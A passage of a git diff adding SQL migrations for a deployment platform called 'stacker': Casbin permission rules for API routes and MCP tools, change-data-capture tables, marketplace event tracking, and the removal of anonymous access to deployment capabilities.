b/stacker/stacker/migrations/20260717120008_casbin_field_match.down.sql new file mode 100644 index 0000000..231ce41 --- /dev/null +++ b/stacker/stacker/migrations/20260717120008_casbin_field_match.down.sql @@ -0,0 +1 @@ +DELETE FROM public.casbin_rule WHERE ptype='p' AND v1='/api/v1/pipes/field-match' AND v2='POST'; diff --git a/stacker/stacker/migrations/20260717120008_casbin_field_match.up.sql b/stacker/stacker/migrations/20260717120008_casbin_field_match.up.sql new file mode 100644 index 0000000..fa6e6cc --- /dev/null +++ b/stacker/stacker/migrations/20260717120008_casbin_field_match.up.sql @@ -0,0 +1,6 @@ +-- Add Casbin rules for field-match endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/pipes/field-match', 'POST', '', '', ''), + ('p', 'group_admin', '/api/v1/pipes/field-match', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120009_cdc_tables.down.sql b/stacker/stacker/migrations/20260717120009_cdc_tables.down.sql new file mode 100644 index 0000000..bfacb9e --- /dev/null +++ b/stacker/stacker/migrations/20260717120009_cdc_tables.down.sql @@ -0,0 +1,18 @@ +-- Revert CDC step type constraint +ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check; + +ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check + CHECK (step_type IN ( + 'source', 'transform', 'condition', 'target', + 'parallel_split', 'parallel_join', + 'ws_source', 'ws_target', 'http_stream_source', + 'grpc_source', 'grpc_target' + )); + +-- Remove Casbin policies for CDC routes +DELETE FROM casbin_rule WHERE v1 LIKE '/api/v1/cdc/%'; + +-- Drop CDC tables +DROP TABLE IF EXISTS cdc_events; +DROP TABLE IF EXISTS cdc_triggers; +DROP TABLE IF EXISTS cdc_sources; diff --git a/stacker/stacker/migrations/20260717120009_cdc_tables.up.sql b/stacker/stacker/migrations/20260717120009_cdc_tables.up.sql new file mode 100644 index 0000000..9a55e6a --- /dev/null +++ b/stacker/stacker/migrations/20260717120009_cdc_tables.up.sql @@ -0,0 +1,76 @@ +-- Add cdc_source step type to pipe_dag_steps constraint +ALTER TABLE pipe_dag_steps DROP CONSTRAINT IF EXISTS pipe_dag_steps_step_type_check; + +ALTER TABLE pipe_dag_steps ADD CONSTRAINT pipe_dag_steps_step_type_check + CHECK (step_type IN ( + 'source', 'transform', 'condition', 'target', + 'parallel_split', 'parallel_join', + 'ws_source', 'ws_target', 'http_stream_source', + 'grpc_source', 'grpc_target', + 'cdc_source' + )); + +-- CDC source configuration table +CREATE TABLE IF NOT EXISTS cdc_sources ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + deployment_hash VARCHAR(255) NOT NULL, + connection_url TEXT NOT NULL, + replication_slot VARCHAR(255) NOT NULL, + publication_name VARCHAR(255) NOT NULL, + monitored_tables JSONB NOT NULL DEFAULT '[]'::jsonb, + capture_operations JSONB NOT NULL DEFAULT '["INSERT","UPDATE","DELETE"]'::jsonb, + status VARCHAR(50) NOT NULL DEFAULT 'active' + CHECK (status IN ('active', 'paused', 'error', 'deleted')), + last_lsn VARCHAR(64), + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX IF NOT EXISTS idx_cdc_sources_deployment ON cdc_sources(deployment_hash); +CREATE INDEX IF NOT EXISTS idx_cdc_sources_status ON cdc_sources(status); + +-- CDC trigger bindings (which CDC source triggers which pipe) +CREATE TABLE IF NOT EXISTS cdc_triggers ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + cdc_source_id UUID NOT NULL REFERENCES cdc_sources(id) ON DELETE CASCADE, + pipe_template_id UUID NOT NULL REFERENCES pipe_templates(id) ON DELETE CASCADE, + table_filter VARCHAR(255), + operation_filter JSONB, + condition JSONB, + enabled BOOLEAN NOT NULL DEFAULT true, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX IF NOT EXISTS idx_cdc_triggers_source ON cdc_triggers(cdc_source_id); +CREATE INDEX IF NOT EXISTS idx_cdc_triggers_pipe ON cdc_triggers(pipe_template_id); + +-- CDC event log for audit/replay +CREATE TABLE IF NOT EXISTS cdc_events ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + source_id UUID NOT NULL REFERENCES cdc_sources(id) ON DELETE CASCADE, + schema_name VARCHAR(255) NOT NULL DEFAULT 'public', + table_name VARCHAR(255) NOT NULL, + operation VARCHAR(10) NOT NULL CHECK (operation IN ('INSERT', 'UPDATE', 'DELETE')), + before_data JSONB, + after_data JSONB, + xid BIGINT NOT NULL, + lsn VARCHAR(64) NOT NULL, + captured_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX IF NOT EXISTS idx_cdc_events_source ON cdc_events(source_id); +CREATE INDEX IF NOT EXISTS idx_cdc_events_table ON cdc_events(table_name); +CREATE INDEX IF NOT EXISTS idx_cdc_events_captured ON cdc_events(captured_at); + +-- Casbin policies for CDC routes +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES + ('p', 'group_user', '/api/v1/cdc/sources', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/sources', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/sources/*', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/sources/*', 'PUT', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/sources/*', 'DELETE', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/triggers', 'GET', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/triggers', 'POST', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/triggers/*', 'DELETE', '', '', ''), + ('p', 'group_user', '/api/v1/cdc/events', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120010_casbin_editor_policy.down.sql b/stacker/stacker/migrations/20260717120010_casbin_editor_policy.down.sql new file mode 100644 index 0000000..bec2c66 --- /dev/null +++ b/stacker/stacker/migrations/20260717120010_casbin_editor_policy.down.sql @@ -0,0 +1,2 @@ +-- Revoke anonymous access to /editor static files +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_anonymous' AND v1 IN ('/editor', '/editor/', '/editor/:path', '/editor/assets/:path'); diff --git a/stacker/stacker/migrations/20260717120010_casbin_editor_policy.up.sql b/stacker/stacker/migrations/20260717120010_casbin_editor_policy.up.sql new file mode 100644 index 0000000..5cd3969 --- /dev/null +++ b/stacker/stacker/migrations/20260717120010_casbin_editor_policy.up.sql @@ -0,0 +1,5 @@ +-- Allow anonymous access to /editor static files +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor/', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor/:path', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/editor/assets/:path', 'GET', '', '', ''); diff --git a/stacker/stacker/migrations/20260717120011_pipe_local_mode.down.sql b/stacker/stacker/migrations/20260717120011_pipe_local_mode.down.sql new file mode 100644 index 0000000..a4721ea --- /dev/null +++ b/stacker/stacker/migrations/20260717120011_pipe_local_mode.down.sql @@ -0,0 +1,10 @@ +DROP INDEX IF EXISTS idx_pipe_instances_local; + +ALTER TABLE pipe_executions DROP COLUMN IF EXISTS is_local; +ALTER TABLE pipe_instances DROP COLUMN IF EXISTS is_local; + +-- Restore NOT NULL (backfill NULLs first to avoid constraint violation) +UPDATE pipe_instances SET deployment_hash = '' WHERE deployment_hash IS NULL; +UPDATE pipe_executions SET deployment_hash = '' WHERE deployment_hash IS NULL; +ALTER TABLE pipe_instances ALTER COLUMN deployment_hash SET NOT NULL; +ALTER TABLE pipe_executions ALTER COLUMN deployment_hash SET NOT NULL; diff --git a/stacker/stacker/migrations/20260717120011_pipe_local_mode.up.sql b/stacker/stacker/migrations/20260717120011_pipe_local_mode.up.sql new file mode 100644 index 0000000..ace4c4a --- /dev/null +++ b/stacker/stacker/migrations/20260717120011_pipe_local_mode.up.sql @@ -0,0 +1,10 @@ +-- Make deployment_hash nullable for local pipe mode +ALTER TABLE pipe_instances ALTER COLUMN deployment_hash DROP NOT NULL; +ALTER TABLE pipe_executions ALTER COLUMN deployment_hash DROP NOT NULL; + +-- Track whether a pipe was created in local mode +ALTER TABLE pipe_instances ADD COLUMN is_local BOOLEAN NOT NULL DEFAULT FALSE; +ALTER TABLE pipe_executions ADD COLUMN is_local BOOLEAN NOT NULL DEFAULT FALSE; + +-- Index for listing user's local pipes efficiently +CREATE INDEX idx_pipe_instances_local ON pipe_instances(created_by, is_local) WHERE is_local = true; diff --git a/stacker/stacker/migrations/20260717120012_marketplace_event.down.sql b/stacker/stacker/migrations/20260717120012_marketplace_event.down.sql new file mode 100644 index 0000000..5f2026e --- /dev/null +++ b/stacker/stacker/migrations/20260717120012_marketplace_event.down.sql @@ -0,0 +1 @@ +DROP TABLE IF EXISTS marketplace_event; diff --git a/stacker/stacker/migrations/20260717120012_marketplace_event.up.sql b/stacker/stacker/migrations/20260717120012_marketplace_event.up.sql new file mode 100644 index 0000000..e95db06 --- /dev/null +++ b/stacker/stacker/migrations/20260717120012_marketplace_event.up.sql @@ -0,0 +1,18 @@ +CREATE TABLE IF NOT EXISTS marketplace_event ( + id BIGSERIAL PRIMARY KEY, + template_id UUID NOT NULL, + event_type VARCHAR(50) NOT NULL CHECK (event_type IN ('view', 'deploy')), + viewer_user_id VARCHAR(50), + deployer_user_id VARCHAR(50), + cloud_provider VARCHAR(100), + occurred_at TIMESTAMPTZ DEFAULT (NOW() AT TIME ZONE 'utc'), + metadata JSONB, + CONSTRAINT fk_marketplace_event_template + FOREIGN KEY (template_id) REFERENCES stack_template(id) ON DELETE CASCADE +); + +CREATE INDEX IF NOT EXISTS idx_marketplace_event_template ON marketplace_event(template_id); +CREATE INDEX IF NOT EXISTS idx_marketplace_event_type ON marketplace_event(event_type); +CREATE INDEX IF NOT EXISTS idx_marketplace_event_occurred ON marketplace_event(occurred_at); +CREATE INDEX IF NOT EXISTS idx_marketplace_event_viewer ON marketplace_event(viewer_user_id); +CREATE INDEX IF NOT EXISTS idx_marketplace_event_deployer ON marketplace_event(deployer_user_id); diff --git a/stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql b/stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql new file mode 100644 index 0000000..a6c5a1f --- /dev/null +++ b/stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql @@ -0,0 +1,2 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'g' AND v0 IN ('creator', 'vendor') AND v1 = 'group_user'; diff --git a/stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql b/stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql new file mode 100644 index 0000000..41d0022 --- /dev/null +++ b/stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql @@ -0,0 +1,13 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +SELECT 'g', 'creator', 'group_user', '', '', '', '' +WHERE NOT EXISTS ( + SELECT 1 FROM public.casbin_rule + WHERE ptype = 'g' AND v0 = 'creator' AND v1 = 'group_user' +); + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +SELECT 'g', 'vendor', 'group_user', '', '', '', '' +WHERE NOT EXISTS ( + SELECT 1 FROM public.casbin_rule + WHERE ptype = 'g' AND v0 = 'vendor' AND v1 = 'group_user' +); diff --git a/stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql b/stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql new file mode 100644 index 0000000..81d6231 --- /dev/null +++ b/stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql @@ -0,0 +1,8 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/server/:id/ssh-key/authorize-public-key' + AND v2 = 'POST' + AND v0 IN ('group_user', 'root') + AND v3 = '' + AND v4 = '' + AND v5 = ''; diff --git a/stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql b/stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql new file mode 100644 index 0000000..7a75720 --- /dev/null +++ b/stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql @@ -0,0 +1,5 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/server/:id/ssh-key/authorize-public-key', 'POST', '', '', ''), + ('p', 'root', '/server/:id/ssh-key/authorize-public-key', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql b/stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql new file mode 100644 index 0000000..395c587 --- /dev/null +++ b/stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql @@ -0,0 +1,2 @@ +-- Data migration rollback is intentionally a no-op because deleted rows cannot +-- be reconstructed safely. diff --git a/stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql b/stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql new file mode 100644 index 0000000..b2b1667 --- /dev/null +++ b/stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql @@ -0,0 +1,2 @@ +DELETE FROM project_app +WHERE regexp_replace(lower(trim(both from trim(leading '/' from code))), '[-_]+', '_', 'g') = 'nginx_proxy_manager'; diff --git a/stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.down.sql b/stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.down.sql new file mode 100644 index 0000000..afe1aa7 --- /dev/null +++ b/stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.down.sql @@ -0,0 +1,8 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/server/:id/cloud-firewall' + AND v2 = 'POST' + AND v0 IN ('group_user', 'group_admin', 'root') + AND v3 = '' + AND v4 = '' + AND v5 = ''; diff --git a/stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.up.sql b/stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.up.sql new file mode 100644 index 0000000..5ecaeb9 --- /dev/null +++ b/stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.up.sql @@ -0,0 +1,6 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/server/:id/cloud-firewall', 'POST', '', '', ''), + ('p', 'group_admin', '/server/:id/cloud-firewall', 'POST', '', '', ''), + ('p', 'root', '/server/:id/cloud-firewall', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120017_casbin_project_app_delete.down.sql b/stacker/stacker/migrations/20260717120017_casbin_project_app_delete.down.sql new file mode 100644 index 0000000..d867bdd --- /dev/null +++ b/stacker/stacker/migrations/20260717120017_casbin_project_app_delete.down.sql @@ -0,0 +1,10 @@ +-- Remove Casbin rules for deleting project apps + +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 IN ( + '/project/:id/apps/:code', + '/api/v1/project/:id/apps/:code' + ) + AND v2 = 'DELETE'; diff --git a/stacker/stacker/migrations/20260717120017_casbin_project_app_delete.up.sql b/stacker/stacker/migrations/20260717120017_casbin_project_app_delete.up.sql new file mode 100644 index 0000000..f05fe3a --- /dev/null +++ b/stacker/stacker/migrations/20260717120017_casbin_project_app_delete.up.sql @@ -0,0 +1,7 @@ +-- Add Casbin rules for deleting project apps + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/project/:id/apps/:code', 'DELETE', '', '', ''), + ('p', 'group_user', '/api/v1/project/:id/apps/:code', 'DELETE', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql b/stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql new file mode 100644 index 0000000..a67844e --- /dev/null +++ b/stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql @@ -0,0 +1,101 @@ +WITH tool_policy(subject, tool) AS ( + VALUES + ('group_user', 'list_projects'), + ('group_user', 'get_project'), + ('group_user', 'create_project'), + ('group_user', 'create_project_app'), + ('group_user', 'suggest_resources'), + ('group_user', 'list_templates'), + ('group_user', 'validate_domain'), + ('group_user', 'get_deployment_status'), + ('group_user', 'start_deployment'), + ('group_user', 'cancel_deployment'), + ('group_user', 'list_clouds'), + ('group_user', 'get_cloud'), + ('group_user', 'add_cloud'), + ('group_user', 'delete_cloud'), + ('group_user', 'list_cloud_regions'), + ('group_user', 'list_cloud_server_sizes'), + ('group_user', 'list_cloud_images'), + ('group_user', 'delete_project'), + ('group_user', 'clone_project'), + ('group_user', 'get_user_profile'), + ('group_user', 'get_subscription_plan'), + ('group_user', 'list_installations'), + ('group_user', 'get_installation_details'), + ('group_user', 'search_applications'), + ('group_user', 'search_marketplace_templates'), + ('group_user', 'get_notifications'), + ('group_user', 'mark_notification_read'), + ('group_user', 'mark_all_notifications_read'), + ('group_user', 'initiate_deployment'), + ('group_user', 'trigger_redeploy'), + ('group_user', 'add_app_to_deployment'), + ('group_user', 'get_container_logs'), + ('group_user', 'get_container_health'), + ('group_user', 'list_containers'), + ('group_user', 'restart_container'), + ('group_user', 'diagnose_deployment'), + ('group_user', 'escalate_to_support'), + ('group_user', 'get_live_chat_info'), + ('group_user', 'stop_container'), + ('group_user', 'start_container'), + ('group_user', 'get_error_summary'), + ('group_user', 'get_app_env_vars'), + ('group_user', 'set_app_env_var'), + ('group_user', 'delete_app_env_var'), + ('group_user', 'get_app_config'), + ('group_user', 'update_app_ports'), + ('group_user', 'update_app_domain'), + ('group_user', 'preview_install_config'), + ('group_user', 'get_ansible_role_defaults'), + ('group_user', 'render_ansible_template'), + ('group_user', 'validate_stack_config'), + ('group_user', 'discover_stack_services'), + ('group_user', 'get_vault_config'), + ('group_user', 'set_vault_config'), + ('group_user', 'list_vault_configs'), + ('group_user', 'apply_vault_config'), + ('group_user', 'configure_proxy'), + ('group_user', 'delete_proxy'), + ('group_user', 'list_proxies'), + ('group_user', 'list_project_apps'), + ('group_user', 'get_deployment_resources'), + ('group_user', 'list_remote_secret_targets'), + ('group_user', 'list_remote_service_secrets'), + ('group_user', 'get_remote_service_secret'), + ('group_user', 'set_remote_service_secret'), + ('group_user', 'delete_remote_service_secret'), + ('group_user', 'get_docker_compose_yaml'), + ('group_user', 'get_server_resources'), + ('group_user', 'get_container_exec'), + ('group_admin', 'admin_list_submitted_templates'), + ('group_admin', 'admin_get_template_detail'), + ('group_admin', 'admin_approve_template'), + ('group_admin', 'admin_reject_template'), + ('group_admin', 'admin_list_template_versions'), + ('group_admin', 'admin_list_template_reviews'), + ('group_admin', 'admin_validate_template_security'), + ('group_user', 'list_available_roles'), + ('group_user', 'get_role_details'), + ('group_user', 'get_role_requirements'), + ('group_user', 'validate_role_vars'), + ('group_user', 'deploy_role'), + ('group_user', 'recommend_stack_services'), + ('group_user', 'deploy_app'), + ('group_user', 'remove_app'), + ('group_user', 'configure_proxy_agent'), + ('group_user', 'get_agent_status'), + ('group_user', 'configure_firewall'), + ('group_user', 'list_firewall_rules'), + ('group_user', 'configure_firewall_from_role') +) +DELETE FROM public.casbin_rule cr +USING tool_policy tp +WHERE cr.ptype = 'p' + AND cr.v0 = tp.subject + AND cr.v1 = '/mcp/tools/' || tp.tool + AND cr.v2 = 'CALL' + AND cr.v3 = '' + AND cr.v4 = '' + AND cr.v5 = ''; diff --git a/stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql b/stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql new file mode 100644 index 0000000..b564c30 --- /dev/null +++ b/stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql @@ -0,0 +1,99 @@ +-- Add per-tool Casbin ACL for MCP tool execution. +-- The WebSocket endpoint remains protected separately by /mcp GET. + +WITH tool_policy(subject, tool) AS ( + VALUES + ('group_user', 'list_projects'), + ('group_user', 'get_project'), + ('group_user', 'create_project'), + ('group_user', 'create_project_app'), + ('group_user', 'suggest_resources'), + ('group_user', 'list_templates'), + ('group_user', 'validate_domain'), + ('group_user', 'get_deployment_status'), + ('group_user', 'start_deployment'), + ('group_user', 'cancel_deployment'), + ('group_user', 'list_clouds'), + ('group_user', 'get_cloud'), + ('group_user', 'add_cloud'), + ('group_user', 'delete_cloud'), + ('group_user', 'list_cloud_regions'), + ('group_user', 'list_cloud_server_sizes'), + ('group_user', 'list_cloud_images'), + ('group_user', 'delete_project'), + ('group_user', 'clone_project'), + ('group_user', 'get_user_profile'), + ('group_user', 'get_subscription_plan'), + ('group_user', 'list_installations'), + ('group_user', 'get_installation_details'), + ('group_user', 'search_applications'), + ('group_user', 'search_marketplace_templates'), + ('group_user', 'get_notifications'), + ('group_user', 'mark_notification_read'), + ('group_user', 'mark_all_notifications_read'), + ('group_user', 'initiate_deployment'), + ('group_user', 'trigger_redeploy'), + ('group_user', 'add_app_to_deployment'), + ('group_user', 'get_container_logs'), + ('group_user', 'get_container_health'), + ('group_user', 'list_containers'), + ('group_user', 'restart_container'), + ('group_user', 'diagnose_deployment'), + ('group_user', 'escalate_to_support'), + ('group_user', 'get_live_chat_info'), + ('group_user', 'stop_container'), + ('group_user', 'start_container'), + ('group_user', 'get_error_summary'), + ('group_user', 'get_app_env_vars'), + ('group_user', 'set_app_env_var'), + ('group_user', 'delete_app_env_var'), + ('group_user', 'get_app_config'), + ('group_user', 'update_app_ports'), + ('group_user', 'update_app_domain'), + ('group_user', 'preview_install_config'), + ('group_user', 'get_ansible_role_defaults'), + ('group_user', 'render_ansible_template'), + ('group_user', 'validate_stack_config'), + ('group_user', 'discover_stack_services'), + ('group_user', 'get_vault_config'), + ('group_user', 'set_vault_config'), + ('group_user', 'list_vault_configs'), + ('group_user', 'apply_vault_config'), + ('group_user', 'configure_proxy'), + ('group_user', 'delete_proxy'), + ('group_user', 'list_proxies'), + ('group_user', 'list_project_apps'), + ('group_user', 'get_deployment_resources'), + ('group_user', 'list_remote_secret_targets'), + ('group_user', 'list_remote_service_secrets'), + ('group_user', 'get_remote_service_secret'), + ('group_user', 'set_remote_service_secret'), + ('group_user', 'delete_remote_service_secret'), + ('group_user', 'get_docker_compose_yaml'), + ('group_user', 'get_server_resources'), + ('group_user', 'get_container_exec'), + ('group_admin', 'admin_list_submitted_templates'), + ('group_admin', 'admin_get_template_detail'), + ('group_admin', 'admin_approve_template'), + ('group_admin', 'admin_reject_template'), + ('group_admin', 'admin_list_template_versions'), + ('group_admin', 'admin_list_template_reviews'), + ('group_admin', 'admin_validate_template_security'), + ('group_user', 'list_available_roles'), + ('group_user', 'get_role_details'), + ('group_user', 'get_role_requirements'), + ('group_user', 'validate_role_vars'), + ('group_user', 'deploy_role'), + ('group_user', 'recommend_stack_services'), + ('group_user', 'deploy_app'), + ('group_user', 'remove_app'), + ('group_user', 'configure_proxy_agent'), + ('group_user', 'get_agent_status'), + ('group_user', 'configure_firewall'), + ('group_user', 'list_firewall_rules'), + ('group_user', 'configure_firewall_from_role') +) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +SELECT 'p', subject, '/mcp/tools/' || tool, 'CALL', '', '', '' +FROM tool_policy +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql b/stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql new file mode 100644 index 0000000..05e2a24 --- /dev/null +++ b/stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql @@ -0,0 +1,34 @@ +WITH tool_policy(subject, tool) AS ( + VALUES + ('group_user', 'get_deployment_state'), + ('group_user', 'get_deployment_plan'), + ('group_user', 'get_deployment_events'), + ('group_user', 'apply_deployment_plan'), + ('group_user', 'explain_env'), + ('group_user', 'explain_topology') +) +DELETE FROM public.casbin_rule cr +USING tool_policy tp +WHERE cr.ptype = 'p' + AND cr.v0 = tp.subject + AND cr.v1 = '/mcp/tools/' || tp.tool + AND cr.v2 = 'CALL' + AND cr.v3 = '' + AND cr.v4 = '' + AND cr.v5 = ''; + +WITH route_policy(subject, route, action) AS ( + VALUES + ('group_user', '/api/v1/deployments/:deployment_hash/state', 'GET'), + ('group_user', '/api/v1/deployments/:deployment_hash/plan', 'GET'), + ('group_user', '/api/v1/deployments/:deployment_hash/events', 'GET') +) +DELETE FROM public.casbin_rule cr +USING route_policy rp +WHERE cr.ptype = 'p' + AND cr.v0 = rp.subject + AND cr.v1 = rp.route + AND cr.v2 = rp.action + AND cr.v3 = '' + AND cr.v4 = '' + AND cr.v5 = ''; diff --git a/stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql b/stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql new file mode 100644 index 0000000..3b50c7a --- /dev/null +++ b/stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql @@ -0,0 +1,27 @@ +-- Add Casbin ACL for AI deployment/explain MCP tools introduced after the +-- initial per-tool MCP policy migration. + +WITH tool_policy(subject, tool) AS ( + VALUES + ('group_user', 'get_deployment_state'), + ('group_user', 'get_deployment_plan'), + ('group_user', 'get_deployment_events'), + ('group_user', 'apply_deployment_plan'), + ('group_user', 'explain_env'), + ('group_user', 'explain_topology') +) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +SELECT 'p', subject, '/mcp/tools/' || tool, 'CALL', '', '', '' +FROM tool_policy +ON CONFLICT DO NOTHING; + +WITH route_policy(subject, route, action) AS ( + VALUES + ('group_user', '/api/v1/deployments/:deployment_hash/state', 'GET'), + ('group_user', '/api/v1/deployments/:deployment_hash/plan', 'GET'), + ('group_user', '/api/v1/deployments/:deployment_hash/events', 'GET') +) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +SELECT 'p', subject, route, action, '', '', '' +FROM route_policy +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260717120020_pipe_instance_adapters.down.sql b/stacker/stacker/migrations/20260717120020_pipe_instance_adapters.down.sql new file mode 100644 index 0000000..69c2e3b --- /dev/null +++ b/stacker/stacker/migrations/20260717120020_pipe_instance_adapters.down.sql @@ -0,0 +1,3 @@ +ALTER TABLE pipe_instances + DROP COLUMN IF EXISTS target_adapter, + DROP COLUMN IF EXISTS source_adapter; diff --git a/stacker/stacker/migrations/20260717120020_pipe_instance_adapters.up.sql b/stacker/stacker/migrations/20260717120020_pipe_instance_adapters.up.sql new file mode 100644 index 0000000..4d618d5 --- /dev/null +++ b/stacker/stacker/migrations/20260717120020_pipe_instance_adapters.up.sql @@ -0,0 +1,3 @@ +ALTER TABLE pipe_instances + ADD COLUMN source_adapter JSONB, + ADD COLUMN target_adapter JSONB; diff --git a/stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql b/stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql new file mode 100644 index 0000000..9813ec7 --- /dev/null +++ b/stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql @@ -0,0 +1,16 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +SELECT 'p', + 'group_anonymous', + '/api/v1/deployments/:deployment_hash/capabilities', + 'GET', + NULL, + NULL, + NULL +WHERE NOT EXISTS ( + SELECT 1 + FROM public.casbin_rule + WHERE ptype = 'p' + AND v0 = 'group_anonymous' + AND v1 = '/api/v1/deployments/:deployment_hash/capabilities' + AND v2 = 'GET' +); diff --git a/stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql b/stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql new file mode 100644 index 0000000..3d1e311 --- /dev/null +++ b/stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql @@ -0,0 +1,6 @@ +-- Deployment capabilities expose agent state and must require authentication. +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_anonymous' + AND v1 = '/api/v1/deployments/:deployment_hash/capabilities' + AND v2 = 'GET'; diff --git a/stacker/stacker/node_modules/.vite/deps_temp_0b5f61c2/package.json b/stacker/stacker/node_modules/.vite/deps_temp_0b5f61c2/package.json new file mode 100644 index 0000000..3dbc1ca --- /dev/null +++ b/stacker/stacker/node_modules/.vite/deps_temp_0b5f61c2/package.json @@ -0,0 +1,3 @@ +{ + "type": "module" +} diff --git a/stacker/stacker/package-lock.json b/stacker/stacker/package-lock.json new file mode 100644 index 0000000..ec9e263 --- /dev/null +++ b/stacker/stacker/package-lock.json @@ -0,0 +1,33 @@ +{ + "name": "stacker", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "dependencies": { + "ws": "^8.18.3" + } + }, + 